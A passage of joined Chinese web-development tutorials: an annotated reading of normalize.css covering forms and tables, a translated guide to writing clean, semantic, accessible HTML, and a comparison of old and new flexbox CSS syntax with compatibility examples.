 * Address variable `h1` font-size and margin within `section` and `article`
 * contexts in Firefox 4+, Safari, and Chrome.
 */

h1 {
  font-size: 2em;
  margin: 0.67em 0;
}




	修复 Firefox 4+，Safari 5 和 Chrome 中section和article内的h1字体大小



/**
 * Address styling not present in IE 8/9.
 */

mark {
  background: #ff0;
  color: #000;
}




	修复 IE 6/9， Safari 5 和 Chrome中样式不呈现的问题



mark标签用来突出显示部分文本，设置后会有一个高亮背景，但是此标签是HTML5中的新标签，在低版本浏览器并不识别，所以需要重置样式。



/**
 * Address inconsistent and variable font size in all browsers.
 */

small {
  font-size: 80%;
}




	在所有浏览器中统一small的字体大小



small标签在 HTML 4.01 就已经存在，HTML5 中增强了它的寓意，表示旁注信息，不过此标签在各个浏览器中呈现的字体大小不一样，在这里做了统一


/**
 * Prevent `sub` and `sup` affecting `line-height` in all browsers.
 */

sub,
sup {
  font-size: 75%;
  line-height: 0;
  position: relative;
  vertical-align: baseline;
}

sup {
  top: -0.5em;
}

sub {
  bottom: -0.25em;
}




	防止所有浏览器中的sub和sup影响行高



sup和sub两个标签是用来表示上标和下标，据HTML标准中对small，sub和sup的大小要求都是smaller，但是如上所示normalize.css给small设的是80%，而sub和sup却是75%，所以为了保持一致，且不影响其他元素的行高，把两者的line-height设为0，然后设置它的垂直以baseline开始，设置top和bottom手动设置两者偏移量


内嵌元素 Embedded content


/**
 * Remove border when inside `a` element in IE 8/9/10.
 */

img {
  border: 0;
}




	去除 IE6-9 和 Firefox 3 中a内部img元素默认的边框



在旧版本的浏览器中，图片默认会有一个奇丑无比的蓝色边框，这这里进行清除，统一样式。


/**
 * Correct overflow not hidden in IE 9/10/11.
 */

svg:not(:root) {
  overflow: hidden;
}




	修复 IE9 中的overflow的怪异表现



群组元素 Grouping content


/**
 * Address margin not present in IE 8/9 and Safari.
 */

figure {
  margin: 1em 40px;
}




	修复 IE 8/9、Safari中margin失效



figure 是HTML5的新标签，用做文档插图，但它在 IE 8/9 and Safari 中的默认margin失效，这里做了统一设置。


/**
 * Address differences between Firefox and other browsers.
 */

hr {
  box-sizing: content-box;
  height: 0;
}




	修正 Firefox 和其他浏览器之间的差异



在 Firefox 中，hr元素的默认样式很多，和其它浏览器主要的差异有两点：

1.设置了height为2px;

2.box-sizing为border-box;

此样式对这两个问题进行重置，进行统一


/**
 * Contain overflow in all browsers.
 */

pre {
  overflow: auto;
}




	标签设置滚动条，内容溢出时出现



大部分浏览器的pre在overflow的时候会直接溢出去，这里加上overflow:auto让它出现滚动条


/**
 * Address odd `em`-unit font size rendering in all browsers.
 */

code,
kbd,
pre,
samp {
  font-family: monospace, monospace;
  font-size: 1em;
}




	用于修复 Safari 5 和 Chrome 中奇怪的字体设置，统一字体样式



总结


此章节我们对Normalize.css中设置的 html与body元素，HTML5元素，链接，语义化文本，内嵌元素，群组元素 的源码进行详细的解读，发现正如其说的一样，它不仅仅帮我们修复了浏览器的默认bug，还保留了许多标签的默认值，尤其是语义化标签，坚持他们存在的意义。


由于源码部分过长，所以对于源码的解析会分为两节，下一节我们继续来介绍：


表单：表单往往存在很多问题，如常见的各种不继承问题，这这里都会得到修复
表格：表格的默认边距和边框真的很丑，需要修复修复


下一节会完成所有模块对normalize.css源码解读，届时会整理一份normalize-zh.css中文注释的版本上传至Github，供大家参考使用，敬请期待...


 关于CSS Reset 那些事（三）之 Normalize-zh.css 出炉

作者：alsiso

来源： 关于CSS Reset 那些事（三）之 Normalize-zh.css 出炉



                    
前言


上一章节我们对Normalize.css源码进行解析，但是由于其代码过长导致不宜浏览，所以表单Forms，表格Table部分内容放在此章节介绍。本章节会完成所有源代码翻译整理，最终会整理出Normalize-zh.css中文版本并开源至Github供大家交流使用。


回顾：关于CSS Reset 那些事（二）之 Normalize.css 源码解读


Normalize-zh.css 出炉


Normalize-zh.css是根据对Normalize.css的源码分析后，经过学习与整理，将源代码中的英文注释文档翻译为中文版本，方便国内的开发者学习和使用，我深知此版本一定有很多不足，希望能得到大家的理解和支持，同样也很愿意和大家一起完善。


现已将源代码开源至Github

项目地址：https://github.com/Alsiso/normalize-zh


Normalize 源码解读 (2)


上章节对 html与body元素，HTML5元素，链接，语义化文本，内嵌元素，群组元素 等源码内容已经做了解析，这章节继续完成表单Forms，表格Table部分。


源码地址：https://github.com/necolas/normalize.css/blob/master/normalize.css

源码版本：v3.0.3


表单 Forms


/**
 * 1. Correct color not being inherited.
 *    Known issue: affects color of disabled elements.
 * 2. Correct font properties not being inherited.
 * 3. Address margins set differently in Firefox 4+, Safari, and Chrome.
 */

button,
input,
optgroup,
select,
textarea {
  color: inherit; /* 1 */
  font: inherit; /* 2 */
  margin: 0; /* 3 */
}




	修正所有浏览器中颜色不继承的问题

	修正所有浏览器中字体不继承的问题

	修正 Firefox 3+， Safari5 和 Chrome 中外边距不同的问题



有一些浏览器会把form表单中的一些元素 textarea，text，button，select 中的字体和字体颜色默认会设置成用户的字体或者是浏览器的字体，并不会从父元素继承，所以这里重置了这些元素的默认样式。


/**
 * Address `overflow` set to `hidden` in IE 8/9/10/11.
 */

button {
  overflow: visible;
}




	统一 IE 8/9/10/11 overflow属性为visible



在 IE 8/9/10/11里的button默认的overflow是hidden，这里统一为visible


/**
 * Address inconsistent `text-transform` inheritance for `button` and `select`.
 * All other form control elements do not inherit `text-transform` values.
 * Correct `button` style inheritance in Firefox, IE 8/9/10/11, and Opera.
 * Correct `select` style inheritance in Firefox.
 */

button,
select {
  text-transform: none;
}




	统一各浏览器text-transform不会继承的问题



/**
 * 1. Avoid the WebKit bug in Android 4.0.* where (2) destroys native `audio`
 *    and `video` controls.
 * 2. Correct inability to style clickable `input` types in iOS.
 * 3. Improve usability and consistency of cursor style between image-type
 *    `input` and others.
 */

button,
html input[type="button"], /* 1 */
input[type="reset"],
input[type="submit"] {
  -webkit-appearance: button; /* 2 */
  cursor: pointer; /* 3 */
}




	避免 Android 4.0.* 中的 WebKit bug ，该bug会破坏原生的audio和video的控制器

	更正 iOS 中无法设置可点击的input的问题

	统一其他类型的input的光标样式



这里将可点击的按钮，统一设置鼠标样式为pointer，提高了可用性


/**
 * Re-set default cursor for disabled elements.
 */

button[disabled],
html input[disabled] {
  cursor: default;
}




	重置按钮禁用时光标样式



/**
 * Remove inner padding and border in Firefox 4+.
 */

button::-moz-focus-inner,
input::-moz-focus-inner {
  border: 0;
  padding: 0;
}




	移除 Firefox 4+ 的内边距



/**
 * Address Firefox 4+ setting `line-height` on `input` using `!important` in
 * the UA stylesheet.
 */

input {
  line-height: normal;
}




	统一设置行高为normal



Firefox浏览器会默认设置input[type="button"]的行高为normal !important，这里统一样式


/**
 * It's recommended that you don't attempt to style these elements.
 * Firefox's implementation doesn't respect box-sizing, padding, or width.
 *
 * 1. Address box sizing set to `content-box` in IE 8/9/10.
 * 2. Remove excess padding in IE 8/9/10.
 */

input[type="checkbox"],
input[type="radio"] {
  box-sizing: border-box; /* 1 */
  padding: 0; /* 2 */
}




	修正 IE 8/9 box-sizing 被设置为content-box的问题

	移除 IE 8/9 中多余的内边距



/**
 * Fix the cursor style for Chrome's increment/decrement buttons. For certain
 * `font-size` values of the `input`, it causes the cursor style of the
 * decrement button to change from `default` to `text`.
 */

input[type="number"]::-webkit-inner-spin-button,
input[type="number"]::-webkit-outer-spin-button {
  height: auto;
}




	修正 Chrome 中 input [type="number"] 在特定高度和 font-size 时,下面一个箭头光标变成cursor: text 效果




/**
 * 1. Address `appearance` set to `searchfield` in Safari and Chrome.
 * 2. Address `box-sizing` set to `border-box` in Safari and Chrome.
 */

input[type="search"] {
  -webkit-appearance: textfield; /* 1 */
  box-sizing: content-box; /* 2 */
}





	修正 Safari 5 和 Chrome 中appearance被设置为searchfield的问题

	修正 Safari 5 和 Chrome 中box-sizing被设置为border-box的问题



searchfield是CSS3的属性，它可以让一个div元素看上去像任何元素，但是浏览器支持性并不好，


/**
 * Remove inner padding and search cancel button in Safari and Chrome on OS X.
 * Safari (but not Chrome) clips the cancel button when the search input has
 * padding (and `textfield` appearance).
 */

input[type="search"]::-webkit-search-cancel-button,
input[type="search"]::-webkit-search-decoration {
  -webkit-appearance: none;
}




	移除原生默认样式，统一search的输入框样式



/**
 * Define consistent border, margin, and padding.
 */

fieldset {
  border: 1px solid #c0c0c0;
  margin: 0 2px;
  padding: 0.35em 0.625em 0.75em;
}




	定义一致的边框、外边距和内边距



/**
 * 1. Correct `color` not being inherited in IE 8/9/10/11.
 * 2. Remove padding so people aren't caught out if they zero out fieldsets.
 */

legend {
  border: 0; /* 1 */
  padding: 0; /* 2 */
}




	修正 IE 6-9 中颜色不能继承的问题

	重置内边距



/**
 * Remove default vertical scrollbar in IE 8/9/10/11.
 */

textarea {
  overflow: auto;
}




	移除 IE8-11 中默认的垂直滚动条



/**
 * Don't inherit the `font-weight` (applied by a rule above).
 * NOTE: the default cannot safely be changed in Chrome and Safari on OS X.
 */

optgroup {
  font-weight: bold;
}




	统一设置optgroup元素font-weight始终为bold




表格 Tables


/**
 * Remove most spacing between table cells.
 */

table {
  border-collapse: collapse;
  border-spacing: 0;
}

td,
th {
  padding: 0;
}




总结


经过两个章节对Normalize.css的源码进行了学习，清晰的了解了它的工作原理，作为传统CSS Reset替代者，它当之无愧，为大家提供一套很完整的跨浏览器解决方案。


不过，你是否会有和我一样的需求，比如开发一个小站，或者一个PC端的系统时，也许只需要一些简单的基础模块，比如我只想要简单的样式重置，统一各浏览器的效果就好，并不需要HTML5以及CSS3的一些问题修复。


那么下一章，我们来介绍，如果制定属于自己的 CSS基础代码库？


 如何写出高效率的HTML

作者：iLeo

来源： 如何写出高效率的HTML



                    

  个人翻译，欢迎转载！

  英文原文：https://samdutton.wordpress.com/2015/04/02/high-performance-html/

  第一次翻译国外的博文，有什么意见和建议欢迎提出！




我们该如何提升网页的性能?


看到这个问题时，大多数开发者会想到图片优化、JavaScript优化、服务器配置升级、文件压缩甚至是CSS压缩这些方式。然而，网页的核心语言HTML却被忽视了。

如今，HTML的负担越来越重，在全球排名前100的网站中，平均每个页面的HTML代码大小有40k左右，其中Amazon和Yahoo平均每页的HTML代码有几千行，Youtube的首页甚至有3500个HTML元素。虽然降低每页HTML的复杂性、减少元素数量并不能使页面的加载时间提升很多，但是良好的HTML编码习惯是提升网页加载速度的一个重要基础。之所以写这篇文章，就是为了告诉你如何写出干净整洁的HTML代码，能够让你的网页在许多设备上都能快速正常的加载运行。在这个过程中，你能够学会如何搭建易于维护和Debug的网站以及app。


写代码的方式可以有很多种，特别是HTML。本文只是根据我们的经验来做出相对最好的建议，并不代表每条建议在任何情况下都能达到效果，仅供参考。


内容简介



  
	各司其职：样式由CSS来控制就够了，不要用HTML元素来强行获取想要的样式；

  	一丝不苟：开发过程中一定要加入代码校验工具，以确保代码没有任何语法以及逻辑上的错误；

  	干净整洁：使用自动排版工具来保持代码结构和格式的一致性；

  	熟练语言：应了解所有的元素用法，并在HTML多使用语义化的元素；

  	一视同仁：设计过程中一定要考虑到所有的情况，备用方案很重要，甚至要专门为特殊人群使用ARIA (Accessible Rich Internet Application)，以保证你的网站可以通过屏幕阅读器或者纯文本浏览器来展示；

  	全面测试：通过各种工具来测试你的网站在不同设备和不同尺寸屏幕上的表现。

  




Web三基友


HTML的含义应该不多解释了，请自行百度百科。

首先要说的是，HTML和CSS两兄弟虽然彼此充满基情，但是也不能把关系搞得太复杂，样式由CSS来控制就够了，不要用HTML元素来强行获取想要的样式，比如不要仅仅为了使文字变大而使用<h1>、<h2>、<h3>这些标题标签，也不要仅仅为了缩进而使用<blockquote>标签。

Chrome, Firefox, Internet Explorer 以及 Opera 都有各自的默认样式表，HTML元素默认的显示方式都是由这些默认样式表来决定的。比如，Chrome中<h1>默认的样式是32px bold，字体是Times.



  基友三原则：

  1. HTML用于建立结构，CSS用于渲染样式，JavaScript用于控制行为；

  2. 首先完成HTML的设计，然后根据样式需求来设计CSS，最后在确实需要的情况下才设计JavaScript；

  3. 将CSS和JavaScript文件进行归档，与HTML文件分开（这样不仅有助于页面缓存，而且可以使后期Debug更容易），这之后再把CSS和JavaScript链接到HTML中，可以根据需要来对CSS和JavaScript代码进行压缩加密。




结构的搭建


HTML在结构上搭建上需要注意这些：



	
采用HTML5标准时开头应该加上<!DOCTYPE html>，像这样：


html<!DOCTYPE html>
<html>
    <head> 
        <title>Recipes: pesto</title>
    </head>
    <body>  
        <h1>Pesto</h1>  
        <p>Pesto is good!</p>
    </body>
</html>




	
应在head标签中引入CSS文件，这样浏览器就可以在输出HTML之前获取CSS信息：


html<head>
    <title>My pesto recipe</title>
    <link rel="/css/global.css">
    <link rel="css/local.css">
</head>




	
在<body>标签的末尾引入JavaScript文件，这样可以在页面显示之后再编译JavaScript文件，以加快页面读取速度，同时有助于JavaScript对页面中的元素进行操作，像这样：


html<body>  
    ...  
    <script src="/js/global.js">  
    <script src="js/local.js">
</body>




	
对元素的操作应添加在JavaScript代码中，而不要在HTML中添加，下面这个例子就是错误的，这样后期难以维护。



	
比如这样写就不太好：


index.html


html<head>
    ... 
    <script src="js/local.js">
</head>
<body onload="init()">
    ... 
    <button onclick="handleFoo()">Foo</button>
    ...
</body>




	
这样写就好多了


index.html


html<head>
    ...
</head>
<body> 
    ...
    <button id="foo">Foo</button>
    ... 
    <script src="js/local.js">
</body>



js/local.js


javascriptinit(); 
var fooButton =  document.querySelector('#foo');
fooButton.onclick = handleFoo();










代码校验


虽然现在浏览器的容错力越来越高，但这不能成为代码粗制滥造的借口。不管什么时候，正确的HTML代码都更易于debug、体积更小、运行更快、渲染时消耗资源更少，而错误的HTML代码只会使页面的最终设计难以实现想要的效果。特别是在使用模板来开发时，正确有效的HTML就更显得尤为重要，也许一个正常运行的模块会在其他环境中出现可怕的异常。


如何才能提高HTML的正确性呢？可以有这些方式：



	在项目中加入校验过程：可以在代码编辑器中使用HTMLHint、SublimeLinter这类代码校验插件，也可以在build的时候使用HTMLHint with Grunt这类校验工具，还可以通过W3C HTML validator等网站来在线检测代码；

	尽量采用HTML5标准；

	
确保正确的HTML层级：嵌套元素时确保元素首尾完整，在一个有大量内容的元素的结束标签后应添加注释，这样有助于后期debug，特别是在使用模板的时候，如下所示：


html<div id="foobar">
    ...
</div> <!-- foobar ends -->




	
在所有不能自动结束的元素末尾添加结束标签；



	
比如这个例子，这样写也可以可以正常运行：


html<p>Pesto is good to eat...
<p>...and pesto is easy to make.




	
不过还是下面这样比较不容易出错：


html<p>Pesto is good to eat...</p>
<p>...and pesto is easy to make.</p>








	
</li>结束标签不是必须的，所以有些人认为可以不写</li>，这可以接受，但是</ul>和</ol>标签一定要加：


html<ul>  
    <li>Basil  
    <li>Pine nuts  
    <li>Garlic
</ul>




	
<video>和<audio>元素必须要有结束标签：


html<!-- 这样写不好 -->
<video src="foo.webm" />
<!-- 还是这样写吧 -->
<video src="foo.webm">  
    <p>Video element not supported.</p>
</video>






另一方面，要去掉冗余代码：



	像<img>和<link>这一类元素可以不加结束标签；

	
布尔型的属性可以不赋值，只要该属性出现，值就为true；



	
下面这样是可以运行的（没有加autoplay和controls）：


html<video src="foo.webm">




	
这样就不能运行，因为这两个属性值必须是true：


html<video src="foo.webm" autoplay="false" controls="false">




	
这样改一下就可以运行了：


html<video src="foo.webm" autoplay="true" controls="true">




	
这样写会更易读：


html<video src="foo.webm" autoplay controls>








	CSS和 JavaScript链接不需要type属性，他们就是他们。




良好的代码排版


保持一致的代码排版可以使HTML代码更易于理解、优化和debug，要做到良好的代码排版应注意以下这几点：



	在项目中保持统一的HTML代码风格；

	使用代码编辑器来帮助你自动排版，比如在Sublime Text中可以使用自带的Reindent，也可以找一些自动排版插件来帮助你。同样也可以使用一些在线工具比如CSS Beautifier和JS Beautifier；

	在HTML中用缩进来分层更易于阅读，如果代码编辑器没有自动缩进功能的话可以自行修改相应的设置。当你发现你的HTML层级过深的时候，那就表示你需要重构一下你的HTML了；

	缩进可以通过空格或者Tab来实现，但一定不要两者同时使用；

	
用更直接易读的方式写HTML代码，比如这句话，就可以很明显的看出这是个标题：


html<h2><a href="/contact">Contact</a><h2>



这样写的话就更像是一个链接：


html<a href="/contact"><h2>Contact</h2></a>




	元素要按常规放置，比如footer元素最好是放在HTML页面的底部，虽然理论上把它放在任何地方都可以正常运行；

	统一所有引号的使用规则，不要这里用双引号，那里又单引号；

	
使用小写字母来写标签和属性，大写字母很不易读，像这样：


html<A HREF="/">Home</A>



混合式的写法简直就是反人类：


html<H2>Pesto</h2>






语义化设计


语义化的意思是从名称一眼就能看出其内容和作用是什么，HTML的标签就是通过使用浅显易懂的元素名和属性名来实现语义化的。HTML5又引进了一些新的语义化元素，比如<header>, <footer>和<nav>。

为了是你的代码更易理解，一定要针对内容使用相应的语义化元素：



	标题使用<h1> (<h2>, <h3>…)，列表使用<ul>或者<ol>；

	
<article>内容中的标题应该从<h1>开始；

	在适当的地方使用HTML5的新元素，比如<header>, <footer>, <nav>和<aside>；

	正文中的文本内容要用<p>标签，内容的结构化可以使用HTML5的新元素（或者<div>），不要颠倒；

	修改文字样式时，<em>和<strong>要比<i>和<b>更好些，因为前者语义更加明显；

	
<form>中要包含<label>元素，input元素要有type、placeholder以及其他必要的属性，即使值为空都可以；

	
不要把文字和元素混合在一起，这样容易导致布局出错，比如这样：


html<div>
    Name: 
    <input type="text">
</div>



这样写会更好些：


html<div>
    <label>Name:</label>
    <input type="text">
</div>






布局


首先再次强调一遍：



  样式由CSS来控制就够了，不要用HTML元素来强行获取想要的样式。




布局需要注意的问题有这些：



	
<p>元素用来放文字，而不是用来布局。在浏览器自身的样式表中默认<p>有margin和其他样式；

	想实现换行可以使用<block>元素或者CSS的display属性，尽量避免使用<br>来换行。文字内容中的换行可以用<br>，但通常也很少这样用，有时在诗文中会把<br>作为标点来使用；

	避免使用<hr>，因为这个元素对语义和结构都没有太大帮助，反而<hr>极差的灵活性对布局和显示都有很大的影响；

	不要滥用<div>，W3C对<div>的描述是这样的：当没有其他元素可用时才能使用<div>。如果想让<link>和<img>这类元素能够在结尾换行，可以在样式中添加display: block，这样要比把它们放进<div>或者使用<br>来换行要好得多;

	必须知道哪些是块级元素，这样就可以避免把块级元素放到<div>里面，比如列表就不需要放到div里面；

	
<table>是用来放表格数据的，不是用来布局的；

	Flex box现在越来越流行，学一学没有坏处；

	盒模型一定要掌握，必须知道什么时候该用padding，什么时候该用margin；

	使用margin的规则：通常情况下，margin都是添加在元素的bottom和right，有时也可以是top或者left。无论如何，尽量避免同时在bottom和top，或者right和left添加margin。可以用last-of-type选择器来去掉最后一个子元素的margin。



CSS方面


这篇文章虽然是讲HTML的，但也有些CSS的注意事项想说一说：



	不要将多句CSS写在同一行；

	不要重复使用同一个id；

	
有时候给父元素添加class要比给子元素添加更简洁易维护（class的命名方式可以采用BEM规则），像这样：


html<!-- 这样看着好累>o< --> 
<ul>  
    <li class="ingredient">Basil</li>  
    <li class="ingredient">Pine nuts</li>  
    <li class="ingredient">Garlic</li> 
</ul> 
<!-- 看起来舒服多了^v^ --> 
<ul class="ingredients">  
    <li>Basil</li>  
    <li>Pine nuts</li>  
    <li>Garlic</li> 
</ul>






易访问性


要多为用户考虑，不同的设备条件、使用环境以及输入法等都会给你的HTML带来不同的体验：



	尽可能的使用语义化元素；

	要准备好备用内容：比如给<track>元素添加说明和副标题，给<video>和<audio>元素添加备用的文字或者图片，视频内容配上相应的截图或海报，每张图片都要加alt属性（如果图片只是用来装饰页面的话可以给alt赋空值）;

	链接要加title属性，title必须要有意义，不要只是链接的复述；

	在<input>元素中要加入type和placeholder；

	设计时要尽量加入ARIA (Accessible Rich Internet Application)。



其他建议



	符号的转义，比如<和&符号，像这样：<title>HTML &amp; JavaScript</title>；

	有些符号不需要转义，比如破折号（如：4-5 weeks）还有货币符号（如：¢,€）；

	在代码中作用不明显的地方适当的添加注释（注释在重构时的作用性举足轻重，优秀的HTML代码，无论多么复杂都可以很好的阅读和理解）；

	
有时全大写的标题会起到吸引注意力的作用，但没必要在HTML中真的输入大写的文字，可以在CSS中通过修改text-transform和font-variant来完成。这样做还有个好处，就是当用户复制这段文字时，他们可能不想要全大写的，像下面的<h4>，当用户复制文字内容时，得到的是大小写混合的文字：
HTML


html<h4>W3C Web Accessibility Initiative ARIA guidance</h4>



CSS


cssh4 {
    font-variant: small-caps;
}






测试


重中之重，就是一定要做测试！

在工作流程、调试工具和部署过程中都可以加入HTML测试。一定要测试你的页面在不同条件的设备，不同大小的屏幕以及不同网速的环境下的读取情况。还要使用纯文字浏览器（如： Lynx）或者屏幕阅读器（如：ChromeVox）来测试页面在特殊环境下的交互性。可以使用Chrome Dev Tools device mode这种仿真器来监视页面的变化。工作流程中可以加入Page Speed, Web Page Test等工具来做自动化测试。
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flex是个非常好用的属性，如果说有什么可以完全代替 float 和 position ，那么肯定是非它莫属了（虽然现在还有很多不支持 flex 的浏览器）。然而在移动开发中，本来绝大多数浏览器（包括安卓2.3以上的自带浏览器）都支持的属性，偏偏有个例外，就是国产某某X5内核神器（不知哪个版本的webkit，仅支持 display:box），自主研发这东西也不好多说什么了，下面入正题。

首先还是从两个版本的语法开始讲吧，这里还是假设flex容器为 .box ，子元素为 .item 。

旧语法篇

定义容器的display属性

.box{
    display: -moz-box; /*Firefox*/
    display: -webkit-box; /*Safari,Opera,Chrome*/
    display: box;
}

容器属性

1.box-pack 属性

box-pack定义子元素主轴对齐方式。

.box{
    -moz-box-pack: center; /*Firefox*/
    -webkit-box-pack: center; /*Safari,Opera,Chrome*/
    box-pack: center;
}

box-pack属性总共有4个值：

.box{
    box-pack: start | end | center | justify;
    /*主轴对齐：左对齐（默认） | 右对齐 | 居中对齐 | 左右对齐*/
}

2.box-align 属性

box-align定义子元素交叉轴对齐方式。

.box{
    -moz-box-align: center; /*Firefox*/
    -webkit-box-align: center; /*Safari,Opera,Chrome*/
    box-align: center;
}

box-align属性总共有5个值：

.box{
    box-align: start | end | center | baseline | stretch;
    /*交叉轴对齐：顶部对齐（默认） | 底部对齐 | 居中对齐 | 文本基线对齐 | 上下对齐并铺满*/
}

3.box-direction 属性

box-direction定义子元素的显示方向。

.box{
    -moz-box-direction: reverse; /*Firefox*/
    -webkit-box-direction: reverse; /*Safari,Opera,Chrome*/
    box-direction: reverse;
}

box-direction属性总共有3个值：

.box{
    box-direction: normal | reverse | inherit;
    /*显示方向：默认方向 | 反方向 | 继承子元素的 box-direction*/
}

4.box-orient 属性

box-orient定义子元素是否应水平或垂直排列。

.box{
    -moz-box-orient: horizontal; /*Firefox*/
    -webkit-box-orient: horizontal; /*Safari,Opera,Chrome*/
    box-orient: horizontal;
}

box-orient属性总共有5个值：

.box{
    box-orient: horizontal | vertical | inline-axis | block-axis | inherit;
    /*排列方向：水平 | 垂直 | 行内方式排列（默认） | 块方式排列 | 继承父级的box-orient*/
}

5.box-lines 属性

box-lines定义当子元素超出了容器是否允许子元素换行。

.box{
    -moz-box-lines: multiple; /*Firefox*/
    -webkit-box-lines: multiple; /*Safari,Opera,Chrome*/
    box-lines: multiple;
}

box-lines属性总共有2个值：

.box{
    box-lines: single | multiple;
    /*允许换行：不允许（默认） | 允许*/
}

子元素属性

1.box-flex 属性

box-flex定义是否允许当前子元素伸缩。

.item{
    -moz-box-flex: 1.0; /*Firefox*/
    -webkit-box-flex: 1.0; /*Safari,Opera,Chrome*/
    box-flex: 1.0;
}

box-flex属性使用一个浮点值：

.item{
    box-flex: <value>;
    /*伸缩：<一个浮点数，默认为0.0，即表示不可伸缩，大于0的值可伸缩，柔性相对>*/
}

2.box-ordinal-group 属性

box-ordinal-group定义子元素的显示次序，数值越小越排前。

.item{
    -moz-box-ordinal-group: 1; /*Firefox*/
    -webkit-box-ordinal-group: 1; /*Safari,Opera,Chrome*/
    box-ordinal-group: 1;
}

box-direction属性使用一个整数值：

.item{
    box-ordinal-group: <integer>;
    /*显示次序：<一个整数，默认为1，数值越小越排前>*/
}

新版语法

定义容器的display属性

.box{
    display: -webkit-flex; /*webkit*/
    display: flex;
}

/*行内flex*/
.box{
    display: -webkit-inline-flex; /*webkit*/
    display:inline-flex;
}

容器样式

.box{
    flex-direction: row | row-reverse | column | column-reverse;
    /*主轴方向：左到右（默认） | 右到左 | 上到下 | 下到上*/

    flex-wrap: nowrap | wrap | wrap-reverse;
    /*换行：不换行（默认） | 换行 | 换行并第一行在下方*/

    flex-flow: <flex-direction> || <flex-wrap>;
    /*主轴方向和换行简写*/

    justify-content: flex-start | flex-end | center | space-between | space-around;
    /*主轴对齐方式：左对齐（默认） | 右对齐 | 居中对齐 | 两端对齐 | 平均分布*/

    align-items: flex-start | flex-end | center | baseline | stretch;
    /*交叉轴对齐方式：顶部对齐（默认） | 底部对齐 | 居中对齐 | 上下对齐并铺满 | 文本基线对齐*/

    align-content: flex-start | flex-end | center | space-between | space-around | stretch;
    /*多主轴对齐：顶部对齐（默认） | 底部对齐 | 居中对齐 | 上下对齐并铺满 | 上下平均分布*/
}

子元素属性

.item{
    order: <integer>;
    /*排序：数值越小，越排前，默认为0*/

    flex-grow: <number>; /* default 0 */
    /*放大：默认0（即如果有剩余空间也不放大，值为1则放大，2是1的双倍大小，以此类推）*/

    flex-shrink: <number>; /* default 1 */
    /*缩小：默认1（如果空间不足则会缩小，值为0不缩小）*/

    flex-basis: <length> | auto; /* default auto */
    /*固定大小：默认为0，可以设置px值，也可以设置百分比大小*/

    flex: none | [ <'flex-grow'> <'flex-shrink'>? || <'flex-basis'> ]
    /*flex-grow, flex-shrink 和 flex-basis的简写，默认值为0 1 auto，*/

    align-self: auto | flex-start | flex-end | center | baseline | stretch;
    /*单独对齐方式：自动（默认） | 顶部对齐 | 底部对齐 | 居中对齐 | 上下对齐并铺满 | 文本基线对齐*/
}

兼容写法

首先是定义容器的 display 属性：

.box{
    display: -webkit-box; /* 老版本语法: Safari, iOS, Android browser, older WebKit browsers. */
    display: -moz-box; /* 老版本语法: Firefox (buggy) */
    display: -ms-flexbox; /* 混合版本语法: IE 10 */
    display: -webkit-flex; /* 新版本语法: Chrome 21+ */
    display: flex; /* 新版本语法: Opera 12.1, Firefox 22+ */
}

由于旧版语法并没有列入W3C标准，所以这里不用写 display:box ，下面的语法也是一样的。

这里还要注意的是，如果子元素是行内元素，在很多情况下都要使用 display:block 或 display:inline-block 把行内子元素变成块元素（例如使用 box-flex 属性），这也是旧版语法和新版语法的区别之一。

子元素主轴对齐方式

.box{
    -webkit-box-pack: center;
    -moz-justify-content: center;
    -webkit-justify-content: center;
    justify-content: center;
}



这里旧版语法有4个参数，而新版语法有5个参数，兼容写法新版语法的 space-around 是不可用的：

.box{
    box-pack: start | end | center | justify;
    /*主轴对齐：左对齐（默认） | 右对齐 | 居中对齐 | 左右对齐*/

    justify-content: flex-start | flex-end | center | space-between | space-around;
    /*主轴对齐方式：左对齐（默认） | 右对齐 | 居中对齐 | 两端对齐 | 平均分布*/
}

子元素交叉轴对齐方式

.box{
    -webkit-box-align: center;
    -moz-align-items: center;
    -webkit-align-items: center;
    align-items: center;
}



这里的参数除了写法不同，其实是功能是一样的：

.box{
    box-align: start | end | center | baseline | stretch;
    /*交叉轴对齐：顶部对齐（默认） | 底部对齐 | 居中对齐 | 文本基线对齐 | 上下对齐并铺满*/

    align-items: flex-start | flex-end | center | baseline | stretch;
    /*交叉轴对齐方式：顶部对齐（默认） | 底部对齐 | 居中对齐 | 上下对齐并铺满 | 文本基线对齐*/
}

子元素的显示方向

子元素的显示方向可通过 box-direction + box-orient + flex-direction 实现，下面请看实例：

左到右

.box{
    -webkit-box-direction: normal;
    -webkit-box-orient: horizontal;
    -moz-flex-direction: row;
    -webkit-flex-direction: row;
    flex-direction: row;
}



右到左

.box{
    -webkit-box-pack: end;
    -webkit-box-direction: reverse;
    -webkit-box-orient: horizontal;
    -moz-flex-direction: row-reverse;
    -webkit-flex-direction: row-reverse;
    flex-direction: row-reverse;
}

这里补充说明一点： box 写法的 box-direction 只是改变了子元素的排序，并没有改变对齐方式，需要新增一个 box-pack 来改变对齐方式。



上到下

.box{
    -webkit-box-direction: normal;
    -webkit-box-orient: vertical;
    -moz-flex-direction: column;
    -webkit-flex-direction: column;
    flex-direction: column;
}



下到上

.box{
    -webkit-box-pack: end;
    -webkit-box-direction: reverse;
    -webkit-box-orient: vertical;
    -moz-flex-direction: column-reverse;
    -webkit-flex-direction: column-reverse;
    flex-direction: column-reverse;
}



是否允许子元素伸缩

.item{
    -webkit-box-flex: 1.0;
    -moz-flex-grow: 1;
    -webkit-flex-grow: 1;
    flex-grow: 1;
}



.item{
    -webkit-box-flex: 1.0;
    -moz-flex-shrink: 1;
    -webkit-flex-shrink: 1;
    flex-shrink: 1;
}



上面是允许放大，box语法中 box-flex 如果不是0就表示该子元素允许伸缩，而flex是分开的，上面 flex-grow 是允许放大（默认不允许），下面的 flex-shrink 是允许缩小（默认允许）。box-flex 默认值为0，也就是说，在默认的情况下，在两个浏览器中的表现是不一样的：



这里还有一点，就是新旧语法的算法是不一样的，假设 box-flex 的值不等于0，旧语法中，如果有多余的空间，box-flex 的值越大，说明空白部分的占比越多，反之亦然：



而新版的语法中，放大的比例是直接按 flex-grow 的值来分配的，flex-grow 的缩放会覆盖 flex-shrink:0，看例子：



参数：

.item{
    box-flex: <value>;
    /*伸缩：<一个浮点数，默认为0.0，即表示不可伸缩，大于0的值可伸缩，柔性相对>*/

    flex-grow: <number>; /* default 0 */
    /*放大：默认0（即如果有剩余空间也不放大，值为1则放大，2是1的双倍大小，以此类推）*/

    flex-shrink: <number>; /* default 1 */
    /*缩小：默认1（如果空间不足则会缩小，值为0不缩小）*/
}

子元素的显示次序

.item{
    -webkit-box-ordinal-group: 1;
    -moz-order: 1;
    -webkit-order: 1;
    order: 1;
}



不足之处请多指点，本文不断更新。
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单列布局

